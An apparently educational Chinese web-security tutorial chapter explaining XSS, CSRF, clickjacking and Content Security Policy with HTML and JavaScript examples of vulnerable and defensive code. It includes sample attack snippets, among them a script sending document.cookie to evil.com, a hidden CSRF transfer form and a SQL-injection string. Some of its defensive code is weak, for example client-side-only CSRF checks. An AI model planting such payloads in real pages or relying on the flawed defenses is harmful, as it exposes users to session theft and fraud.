Skip to content

13.1 Web安全基础

关键词: Web安全, XSS攻击, CSRF攻击, 点击劫持, 内容安全策略, 安全威胁, 输入验证, 输出编码

学习目标

  • 了解Web应用面临的主要安全威胁
  • 掌握XSS攻击的原理和防护方法
  • 学会CSRF攻击的识别和防护策略
  • 理解点击劫持攻击的机制和防护措施
  • 掌握内容安全策略的配置和应用

13.1.1 常见安全威胁

Web应用安全威胁概述

Web应用面临多种安全威胁,了解这些威胁是构建安全应用的第一步。

html
<!-- 典型的不安全HTML示例 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>不安全的页面示例</title>
</head>
<body>
    <h1>用户评论</h1>
    
    <!-- 直接输出用户输入 - 存在XSS风险 -->
    <div class="comment">
        <p>用户评论:<script>alert('XSS攻击!');</script></p>
    </div>
    
    <!-- 不安全的表单 - 存在CSRF风险 -->
    <form action="/transfer" method="post">
        <input type="hidden" name="amount" value="1000">
        <input type="hidden" name="to" value="attacker@example.com">
        <button type="submit">转账</button>
    </form>
    
    <!-- 可被点击劫持的内容 -->
    <iframe src="http://evil.com/clickjacking.html" width="0" height="0"></iframe>
    
    <!-- 不安全的链接 -->
    <a href="javascript:maliciousCode()">点击这里</a>
</body>
</html>

OWASP Top 10 威胁

javascript
// OWASP Top 10 Web应用安全风险
const owaspTop10 = {
    1: {
        name: '注入攻击',
        description: 'SQL注入、命令注入、LDAP注入等',
        impact: '数据泄露、数据篡改、服务器控制',
        example: "'; DROP TABLE users; --"
    },
    2: {
        name: '身份验证失效',
        description: '弱密码、会话管理漏洞',
        impact: '账户被盗用、身份冒充',
        example: '弱密码策略、会话固定攻击'
    },
    3: {
        name: '敏感数据泄露',
        description: '未加密的敏感信息传输或存储',
        impact: '个人信息泄露、财务损失',
        example: '未加密的信用卡信息'
    },
    4: {
        name: 'XML外部实体(XXE)',
        description: 'XML解析器的配置问题',
        impact: '文件读取、内网探测、DoS攻击',
        example: '恶意XML实体引用'
    },
    5: {
        name: '失效的访问控制',
        description: '权限验证不当',
        impact: '未授权访问、特权提升',
        example: '直接访问管理员页面'
    }
};

安全威胁分类

html
<!-- 客户端安全威胁示例 -->
<div class="security-threats">
    <h2>客户端安全威胁</h2>
    
    <!-- 跨站脚本攻击 (XSS) -->
    <section class="xss-demo">
        <h3>XSS攻击示例</h3>
        <div class="vulnerable-code">
            <!-- 存储型XSS -->
            <div id="user-content">
                <!-- 用户输入直接显示,存在XSS风险 -->
            </div>
            
            <!-- 反射型XSS -->
            <div id="search-results">
                <!-- URL参数直接显示,存在XSS风险 -->
            </div>
        </div>
    </section>
    
    <!-- 跨站请求伪造 (CSRF) -->
    <section class="csrf-demo">
        <h3>CSRF攻击示例</h3>
        <div class="vulnerable-form">
            <!-- 缺少CSRF令牌的表单 -->
            <form action="/update-profile" method="post">
                <input type="email" name="email" value="user@example.com">
                <button type="submit">更新邮箱</button>
            </form>
        </div>
    </section>
    
    <!-- 点击劫持攻击 -->
    <section class="clickjacking-demo">
        <h3>点击劫持攻击示例</h3>
        <div class="vulnerable-page">
            <!-- 可被嵌入iframe的页面 -->
            <button onclick="performSensitiveAction()">
                重要操作按钮
            </button>
        </div>
    </section>
</div>

13.1.2 XSS攻击防护

XSS攻击类型

html
<!-- 存储型XSS攻击示例 -->
<div class="stored-xss-example">
    <h3>存储型XSS攻击</h3>
    
    <!-- 攻击者输入的恶意脚本 -->
    <div class="malicious-input">
        <script>
            // 恶意脚本示例
            document.cookie = "stolen=true";
            window.location.href = "http://evil.com/steal?cookie=" + document.cookie;
        </script>
    </div>
    
    <!-- 受害者看到的内容 -->
    <div class="victim-view">
        <p>用户评论:<span id="comment-content"></span></p>
    </div>
</div>

<!-- 反射型XSS攻击示例 -->
<div class="reflected-xss-example">
    <h3>反射型XSS攻击</h3>
    
    <!-- 恶意URL -->
    <!-- http://example.com/search?q=<script>alert('XSS')</script> -->
    
    <!-- 搜索结果页面 -->
    <div class="search-results">
        <p>搜索结果:<span id="search-term"></span></p>
    </div>
</div>

<!-- DOM型XSS攻击示例 -->
<div class="dom-xss-example">
    <h3>DOM型XSS攻击</h3>
    
    <script>
        // 不安全的DOM操作
        function displayMessage() {
            var message = location.hash.substring(1);
            document.getElementById('message').innerHTML = message;
        }
        
        // 攻击URL: http://example.com/page.html#<script>alert('XSS')</script>
    </script>
    
    <div id="message"></div>
</div>

XSS防护策略

html
<!-- 输入验证和过滤 -->
<script>
function sanitizeInput(input) {
    // 移除危险字符
    return input.replace(/[<>\"'&]/g, function(match) {
        const entityMap = {
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#39;',
            '&': '&amp;'
        };
        return entityMap[match];
    });
}

// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safeInput = sanitizeInput(userInput);
console.log(safeInput); // &lt;script&gt;alert("XSS")&lt;/script&gt;
</script>

<!-- 安全的内容显示 -->
<div class="safe-content-display">
    <h3>安全的内容显示方法</h3>
    
    <!-- 使用textContent而不是innerHTML -->
    <script>
        function displayUserContent(content) {
            const container = document.getElementById('user-content');
            // 安全方法:使用textContent
            container.textContent = content;
            
            // 不安全方法:使用innerHTML
            // container.innerHTML = content; // 避免这样做
        }
    </script>
    
    <div id="user-content"></div>
</div>

<!-- 内容安全策略 (CSP) -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-scripts.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:; 
               connect-src 'self' https://api.example.com;">

现代XSS防护技术

javascript
// 使用DOMPurify库进行HTML清理
function safeDOMPurify(htmlString) {
    // 需要引入DOMPurify库
    // <script src="https://cdn.jsdelivr.net/npm/dompurify@2.4.0/dist/purify.min.js"></script>
    
    if (typeof DOMPurify !== 'undefined') {
        return DOMPurify.sanitize(htmlString);
    }
    
    // 降级处理
    return htmlString.replace(/[<>]/g, function(match) {
        return match === '<' ? '&lt;' : '&gt;';
    });
}

// 模板字面量标记函数
function safeHTML(strings, ...values) {
    let result = strings[0];
    
    for (let i = 0; i < values.length; i++) {
        // 对插值进行HTML转义
        const escaped = String(values[i])
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#39;');
        
        result += escaped + strings[i + 1];
    }
    
    return result;
}

// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safeOutput = safeHTML`<div class="user-content">${userInput}</div>`;
console.log(safeOutput);

13.1.3 CSRF攻击防护

CSRF攻击原理

html
<!-- CSRF攻击示例 -->
<div class="csrf-attack-example">
    <h3>CSRF攻击场景</h3>
    
    <!-- 受害者正常使用的银行网站 -->
    <div class="legitimate-site">
        <h4>银行网站 (example-bank.com)</h4>
        <form action="/transfer" method="post">
            <label>转账金额:</label>
            <input type="number" name="amount" value="100">
            <label>收款人:</label>
            <input type="text" name="recipient" value="friend@example.com">
            <button type="submit">转账</button>
        </form>
    </div>
    
    <!-- 攻击者的恶意网站 -->
    <div class="malicious-site">
        <h4>恶意网站 (evil.com)</h4>
        <!-- 隐藏的恶意表单 -->
        <form action="http://example-bank.com/transfer" method="post" style="display:none;">
            <input type="hidden" name="amount" value="10000">
            <input type="hidden" name="recipient" value="attacker@evil.com">
        </form>
        
        <!-- 诱导用户点击 -->
        <img src="fake-image.jpg" alt="点击查看大图" onclick="document.forms[0].submit();">
    </div>
</div>

CSRF防护令牌

html
<!-- CSRF令牌实现 -->
<script>
// 生成CSRF令牌
function generateCSRFToken() {
    const array = new Uint8Array(32);
    crypto.getRandomValues(array);
    return Array.from(array, byte => byte.toString(16).padStart(2, '0')).join('');
}

// 设置CSRF令牌
function setCSRFToken() {
    const token = generateCSRFToken();
    
    // 存储在meta标签中
    const metaTag = document.createElement('meta');
    metaTag.name = 'csrf-token';
    metaTag.content = token;
    document.head.appendChild(metaTag);
    
    // 存储在sessionStorage中
    sessionStorage.setItem('csrf-token', token);
    
    return token;
}

// 验证CSRF令牌
function validateCSRFToken(formToken) {
    const storedToken = sessionStorage.getItem('csrf-token');
    return formToken === storedToken;
}
</script>

<!-- 安全的表单 -->
<form action="/sensitive-action" method="post" onsubmit="return validateForm(this)">
    <!-- CSRF令牌字段 -->
    <input type="hidden" name="csrf-token" id="csrf-token" value="">
    
    <label>操作数据:</label>
    <input type="text" name="data" required>
    
    <button type="submit">提交</button>
</form>

<script>
// 初始化CSRF令牌
document.addEventListener('DOMContentLoaded', function() {
    const token = setCSRFToken();
    document.getElementById('csrf-token').value = token;
});

// 表单验证
function validateForm(form) {
    const formToken = form.querySelector('[name="csrf-token"]').value;
    
    if (!validateCSRFToken(formToken)) {
        alert('安全验证失败,请刷新页面重试');
        return false;
    }
    
    return true;
}
</script>

其他CSRF防护方法

javascript
// 同源策略检查
function validateOrigin(request) {
    const origin = request.headers.origin;
    const referer = request.headers.referer;
    const allowedOrigins = ['https://example.com', 'https://www.example.com'];
    
    // 检查Origin头
    if (origin && !allowedOrigins.includes(origin)) {
        return false;
    }
    
    // 检查Referer头
    if (referer && !allowedOrigins.some(allowed => referer.startsWith(allowed))) {
        return false;
    }
    
    return true;
}

// 双重提交Cookie
function setupDoubleSubmitCookie() {
    const csrfToken = generateCSRFToken();
    
    // 设置HttpOnly Cookie
    document.cookie = `csrf-token=${csrfToken}; SameSite=Strict; Secure`;
    
    // 返回令牌用于表单
    return csrfToken;
}

// SameSite Cookie属性
function setSameSiteCookie(name, value, options = {}) {
    let cookieString = `${name}=${value}`;
    
    // 添加SameSite属性
    if (options.sameSite) {
        cookieString += `; SameSite=${options.sameSite}`;
    }
    
    // 添加Secure属性
    if (options.secure) {
        cookieString += '; Secure';
    }
    
    // 添加HttpOnly属性
    if (options.httpOnly) {
        cookieString += '; HttpOnly';
    }
    
    document.cookie = cookieString;
}

13.1.4 点击劫持防护

点击劫持攻击原理

html
<!-- 点击劫持攻击示例 -->
<div class="clickjacking-example">
    <h3>点击劫持攻击场景</h3>
    
    <!-- 攻击者页面 -->
    <div class="attacker-page">
        <h4>恶意网站界面</h4>
        <div style="position: relative; width: 500px; height: 300px;">
            <!-- 诱导内容 -->
            <div style="position: absolute; top: 0; left: 0; z-index: 1;">
                <h2>恭喜您中奖!</h2>
                <p>点击下方按钮领取奖品</p>
                <div style="width: 200px; height: 50px; background: red; color: white; text-align: center; line-height: 50px;">
                    点击领取
                </div>
            </div>
            
            <!-- 隐藏的受害者网站 -->
            <iframe src="https://victim-site.com/delete-account" 
                    style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 2;">
            </iframe>
        </div>
    </div>
</div>

X-Frame-Options防护

html
<!-- X-Frame-Options头部设置 -->
<script>
// 客户端检测是否被嵌入
function detectFraming() {
    if (window.top !== window.self) {
        // 被嵌入iframe中
        console.warn('页面被嵌入iframe中,可能存在点击劫持风险');
        
        // 跳出iframe
        window.top.location.href = window.location.href;
    }
}

// 页面加载时检测
document.addEventListener('DOMContentLoaded', detectFraming);
</script>

<!-- 服务器端需要设置HTTP头部 -->
<!-- 
X-Frame-Options: DENY                    // 禁止被任何页面嵌入
X-Frame-Options: SAMEORIGIN             // 只允许同源页面嵌入
X-Frame-Options: ALLOW-FROM https://example.com  // 允许指定域名嵌入
-->

内容安全策略防护

html
<!-- 使用CSP frame-ancestors指令 -->
<meta http-equiv="Content-Security-Policy" 
      content="frame-ancestors 'none';">

<!-- 或者只允许同源嵌入 -->
<meta http-equiv="Content-Security-Policy" 
      content="frame-ancestors 'self';">

<!-- 允许特定域名嵌入 -->
<meta http-equiv="Content-Security-Policy" 
      content="frame-ancestors 'self' https://trusted-site.com;">

JavaScript防护方法

javascript
// 高级点击劫持防护
class ClickjackingProtection {
    constructor() {
        this.init();
    }
    
    init() {
        // 检测iframe嵌入
        this.detectFraming();
        
        // 监听窗口变化
        this.monitorWindowChanges();
        
        // 设置透明度检测
        this.setupTransparencyDetection();
    }
    
    detectFraming() {
        if (window.top !== window.self) {
            this.handleFramingDetected();
        }
    }
    
    handleFramingDetected() {
        // 记录安全事件
        console.warn('Clickjacking attempt detected');
        
        // 显示警告
        this.showWarning();
        
        // 尝试跳出iframe
        try {
            window.top.location.href = window.location.href;
        } catch (e) {
            // 如果无法跳出,显示警告页面
            this.showBlockingMessage();
        }
    }
    
    showWarning() {
        const warning = document.createElement('div');
        warning.style.cssText = `
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 0, 0, 0.9);
            color: white;
            font-size: 24px;
            text-align: center;
            z-index: 999999;
            display: flex;
            align-items: center;
            justify-content: center;
        `;
        warning.innerHTML = '安全警告:检测到点击劫持攻击!';
        document.body.appendChild(warning);
    }
    
    monitorWindowChanges() {
        let lastWidth = window.innerWidth;
        let lastHeight = window.innerHeight;
        
        setInterval(() => {
            if (window.innerWidth !== lastWidth || window.innerHeight !== lastHeight) {
                this.detectFraming();
                lastWidth = window.innerWidth;
                lastHeight = window.innerHeight;
            }
        }, 1000);
    }
    
    setupTransparencyDetection() {
        // 检测页面透明度
        const observer = new MutationObserver(() => {
            if (document.body.style.opacity < 1) {
                console.warn('页面透明度异常,可能存在点击劫持');
            }
        });
        
        observer.observe(document.body, {
            attributes: true,
            attributeFilter: ['style']
        });
    }
}

// 初始化保护
new ClickjackingProtection();

13.1.5 内容安全策略

CSP基础配置

html
<!-- 基本CSP配置 -->
<meta http-equiv="Content-Security-Policy" content="
    default-src 'self';
    script-src 'self' 'unsafe-inline' https://trusted-scripts.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    connect-src 'self' https://api.example.com;
    font-src 'self' https://fonts.googleapis.com;
    object-src 'none';
    media-src 'self';
    frame-src 'none';
">

<!-- 严格的CSP配置 -->
<meta http-equiv="Content-Security-Policy" content="
    default-src 'none';
    script-src 'self' 'nonce-{random-nonce}';
    style-src 'self' 'nonce-{random-nonce}';
    img-src 'self' data:;
    connect-src 'self';
    font-src 'self';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
">

动态CSP管理

javascript
// CSP管理器
class CSPManager {
    constructor() {
        this.policies = {
            'default-src': ["'self'"],
            'script-src': ["'self'"],
            'style-src': ["'self'"],
            'img-src': ["'self'", "data:", "https:"],
            'connect-src': ["'self'"],
            'font-src': ["'self'"],
            'object-src': ["'none'"],
            'media-src': ["'self'"],
            'frame-src': ["'none'"],
            'base-uri': ["'self'"],
            'form-action': ["'self'"],
            'frame-ancestors': ["'none'"]
        };
    }
    
    // 添加源到指令
    addSource(directive, source) {
        if (!this.policies[directive]) {
            this.policies[directive] = [];
        }
        
        if (!this.policies[directive].includes(source)) {
            this.policies[directive].push(source);
        }
    }
    
    // 移除源
    removeSource(directive, source) {
        if (this.policies[directive]) {
            this.policies[directive] = this.policies[directive].filter(s => s !== source);
        }
    }
    
    // 生成CSP字符串
    generateCSP() {
        const cspParts = [];
        
        for (const [directive, sources] of Object.entries(this.policies)) {
            if (sources.length > 0) {
                cspParts.push(`${directive} ${sources.join(' ')}`);
            }
        }
        
        return cspParts.join('; ');
    }
    
    // 应用CSP
    applyCSP() {
        const cspContent = this.generateCSP();
        
        // 更新或创建meta标签
        let metaTag = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
        if (!metaTag) {
            metaTag = document.createElement('meta');
            metaTag.setAttribute('http-equiv', 'Content-Security-Policy');
            document.head.appendChild(metaTag);
        }
        
        metaTag.setAttribute('content', cspContent);
    }
    
    // 生成nonce
    generateNonce() {
        const array = new Uint8Array(16);
        crypto.getRandomValues(array);
        return btoa(String.fromCharCode(...array));
    }
    
    // 为脚本添加nonce
    addScriptWithNonce(scriptContent) {
        const nonce = this.generateNonce();
        const script = document.createElement('script');
        script.setAttribute('nonce', nonce);
        script.textContent = scriptContent;
        
        // 添加nonce到CSP
        this.addSource('script-src', `'nonce-${nonce}'`);
        this.applyCSP();
        
        document.head.appendChild(script);
    }
}

// 使用示例
const cspManager = new CSPManager();

// 添加可信任的脚本源
cspManager.addSource('script-src', 'https://trusted-cdn.com');
cspManager.addSource('style-src', 'https://fonts.googleapis.com');

// 应用CSP
cspManager.applyCSP();

CSP报告和监控

html
<!-- CSP违规报告 -->
<meta http-equiv="Content-Security-Policy" content="
    default-src 'self';
    script-src 'self';
    report-uri /csp-report;
    report-to csp-endpoint;
">

<!-- 报告组配置 -->
<script>
// 配置报告组
if ('reportingObserver' in window) {
    const observer = new ReportingObserver((reports, observer) => {
        reports.forEach(report => {
            if (report.type === 'csp-violation') {
                console.warn('CSP违规报告:', report.body);
                
                // 发送到监控服务
                fetch('/security-monitoring', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        type: 'csp-violation',
                        url: report.url,
                        violatedDirective: report.body.violatedDirective,
                        blockedURI: report.body.blockedURI,
                        timestamp: new Date().toISOString()
                    })
                });
            }
        });
    });
    
    observer.observe();
}
</script>

本节要点回顾

  • 安全威胁识别:了解Web应用面临的主要安全威胁和OWASP Top 10
  • XSS防护:通过输入验证、输出编码和CSP防护XSS攻击
  • CSRF防护:使用CSRF令牌、同源检查和SameSite Cookie防护
  • 点击劫持防护:通过X-Frame-Options和CSP frame-ancestors防护
  • 内容安全策略:配置和管理CSP以增强整体安全性

相关学习资源

常见问题FAQ

Q: 什么是最常见的Web安全威胁?

A: 根据OWASP Top 10,最常见的威胁包括注入攻击、身份验证失效、敏感数据泄露、XSS和不安全的反序列化等。

Q: 如何防护XSS攻击?

A: 主要通过输入验证、输出编码、使用安全的DOM操作方法、配置CSP和使用HttpOnly Cookie等方式防护。

Q: CSRF令牌如何工作?

A: CSRF令牌是服务器生成的随机值,嵌入在表单中,提交时验证令牌有效性,攻击者无法获取有效令牌。

Q: 什么是点击劫持攻击?

A: 攻击者将目标网站嵌入透明或不可见的iframe中,诱导用户点击,执行非预期操作。

Q: 如何配置有效的CSP?

A: 从严格策略开始,逐步添加必要的源,使用nonce或hash值,配置报告机制监控违规。


下一节预览:下一节我们将学习HTML5安全特性,重点介绍同源策略、沙箱属性、安全的数据存储和API使用方法。